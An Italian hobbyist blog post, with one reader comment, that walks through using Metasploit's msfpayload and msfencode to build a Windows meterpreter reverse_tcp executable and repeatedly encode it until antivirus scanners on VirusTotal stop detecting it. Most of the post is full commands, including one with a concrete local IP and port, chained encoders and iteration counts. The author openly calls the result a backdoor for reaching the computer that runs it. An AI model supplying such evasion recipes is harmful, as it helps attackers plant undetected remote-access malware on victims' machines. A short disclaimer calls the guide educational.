martedì 8 febbraio 2011

SICUREZZA:come utilizzare un encoder(MSF)-[1/2]

Salve a tutti,come avete notato il blog è "morto" per un bel po di tempo...
Questo,ovviamente,è a causa della scuola:avvicinandosi la fine del primo quadrimestre ci hanno fatto sgobbare come maiali(senza offendere i maiali).
Comunque sia,l'argomento di questo articolo sono gli encoders di MSF(Metasploit Framework).

ATTENZIONE!L'AUTORE DELLA GUIDA(GHEBBO_HCK) NON SI ASSUNE NESSUNA RESPONSABILITA' DELL'USO INAPPROPRIATO DELLE INFORMAZIONI QUI CONTENUTE.
LA GUIDA HA UNO SCOPO ESCUSIVAMENTE INFORMATIVO/DIDATTICO.

Prima di iniziare a spiegare come si utilizzano...A COSA SERVONO?

Un encoder(o codificatore) serve a codificare un file(io inizialmente pensavo servisse a fare delle frittelle...).Questo ci permette di "nascondere"
i nostri codici malevoli =).

Ma di cosa abbiamo bisogno per usare MSFEncode e come usarlo?

Per utilizzare MSFEncode abbiamo bisogno di:
•Backtrack 4 (scarica qui!)
•MSF(Metasploit Framework,di solito è pre-installato in Backtrack)
•Un payload(cos'è?,come farne uno lo spiegerò più avanti nell'articolo)
•Un po di pazienza!

Colgo l'occasione per ricordarvi che da un po di tempo è disponibile una nuova versione di Backtrack
chiamata "Backtrack 4 Relase 2 Codename:Nemesis"(per informazioni aggiuntive su Backtrack visitare il sito ufficiale).
Ora possiamo partire...

Dopo aver scaricato Backtrack(o averlo avviato) apriamo una konsole(ALT+F2 e digitiamo "konsole" o clickiamo sull'icona in basso)
poi navighiamo tramite i comandi:

cd <nome cartella/percorso> spostati nella cartella indicata o nel percorso indicato
cd .. spostati nella cartella precedente
ls visualizza una lista dei file/cartelle presenti

Ora che conosciamo i comandi per "muoverci" con la konsole spostiamoci nel percorso:
"/pentest/exploits/framework3/".

Ora digitiamo "ls" per essere sicuri che siamo nella cartella corrente dovremmo avere i seguenti file:
-msfcli
-msfconsole
-msfgui
-msfencode
-e molti altri...

Andiamo avanti...
Ora dobbiamo creare un payload(solo un eseguibile),digitiamo:


./msfpayload <percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)> X > NOME_File.exe



Ora lsciatemi spiegare cosa abbiamo fatto =).

./msfpayload è l'applicazione per creare un payload("./nomefile" serve per eseguire un eseguibile).
<percorso_payload(es.windows/meterpreter/reverse_tcp)> è il percorso del payload da rendere eseguibile.
LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)> sono i parametri che necessita il nostro payload.
X > NOME_File.exe serve per creare un file eseguibile chiamato "NOME_File.exe".


Ora che abbiamo il payload non ci resta che testarlo.Andiamo sul sito www.virustotal.com che serve a eseguire la scanzione di file che si ritengono
sospetti,nel nostro caso,non sono sospetti,infatti sappiamo che contengono del codice malevolo,ecco il report del file(per chi fosse troppo pigro per farlo...)



Ora che samo certi che sia visto come virus(come se prima non lo sapessimo....) iniziamo a "criptarlo".

Sempre nella stessa cartella di prima e nella stessa konsole("/pentest/exploits/framework3/") digitiamo:


./msfpayload <percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)> R | ./msfencode -t exe -o NomeFileCriptato.exe -e <percorso_dell'encoder(es. x86/shikata_ga_nai)> -c <numero>

Ora,come prima,vi spiegherò cosa abbiamo fatto =).


./msfpayload è l'applicazione per creare un payload("./nomefile" serve per eseguire un eseguibile).
<percorso_payload(es.windows/meterpreter/reverse_tcp)> è il percorso del payload da rendere eseguibile.
LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)> sono i parametri che necessita il payload.
./msfencode è l'applicazione che permette di codificare i file.
-t exe è il tipo di formato che vogliamo,nel nostro caso .exe(eseguibile per windows).
-o NomeFileCriptato.exe serve a creare un nuovo file "criptato".
-e x86/shikata_ga_nai serve a selezionare uno dei tanti encoders che msf ci mette a disposizione,in questo caso x86/shikata_ga_nai.
-c <numero> serve ad indicare quante volte il file deve essere "criptato",più il numero è maggiore più il peso del file aumenterà(quindi usatelo con parsmonia:un file da 10GB forse non verrà trovato dagli antivirus,ma farà insospettire un sacco di persone).


Ok,ora non ci rimane che trovare il numero adatto...proviamo con 5.

./msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R | 
./msfencode -t exe -x root/payload.exe -k -o CriptedPayload.exe -e x86/shikata_ga_nai -c 5

Ecco cosa dovrebbe accadere:



ora proviamo a metterlo su virus total...



Oh,no!
Viene ancora rilevato come virus...aumentiamo,anzi , mischiamo vari encoders!

Digitiamo:

./msfpayload <percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)>R | ./msfencode -e <percorso encoder es. x86/shikata_ga_nai> -t exe -c <numero> | ./msfencode -e <percorso altro encoder da usare es. x86/call4_dword_xor> -t raw -c <numero> X > /percorso/dove/salvare/il/file.exe


Dovrebbe venir fuori una cosa del genere:



Quello di sopra era solo un esempio,per "migliorare" la nostra backdoor*(per essere più specifici di "virus") si possono usare tanti encoders differenti, per avere una lista di tutti quelli integrati in MSF digitiamo(sempre nella cartella "pentest/exploits/framework3"):

./msfencode -l


dove

./msfencode è l'applicazione.
-l è il comando per visualizzare una lista degli encoders disponibili.

*Backdoor:una backdoor è un file/virus che ci permette di accedere al computer che la esegue.

Per ora finiamo qui!Sto già lavorando alla seconda parte della guida,dopo tutto questo tempo mi ci vuole un po per ingranare hehehehe....
Non credo ci sia bisogno di ripeterlo ma lo faccio:Se notate che ho sbagliato qualche cosa SEGNALATEMELO!

1 commento:

  1. Scusa ho eseguito tutto alla perfezione usando 1 encoder e visibile a tenti antivirus mentre quando ne metto due e lo porto su windows impossibile eseguire questa app nel tuo pc contatto la mministratore

    RispondiElimina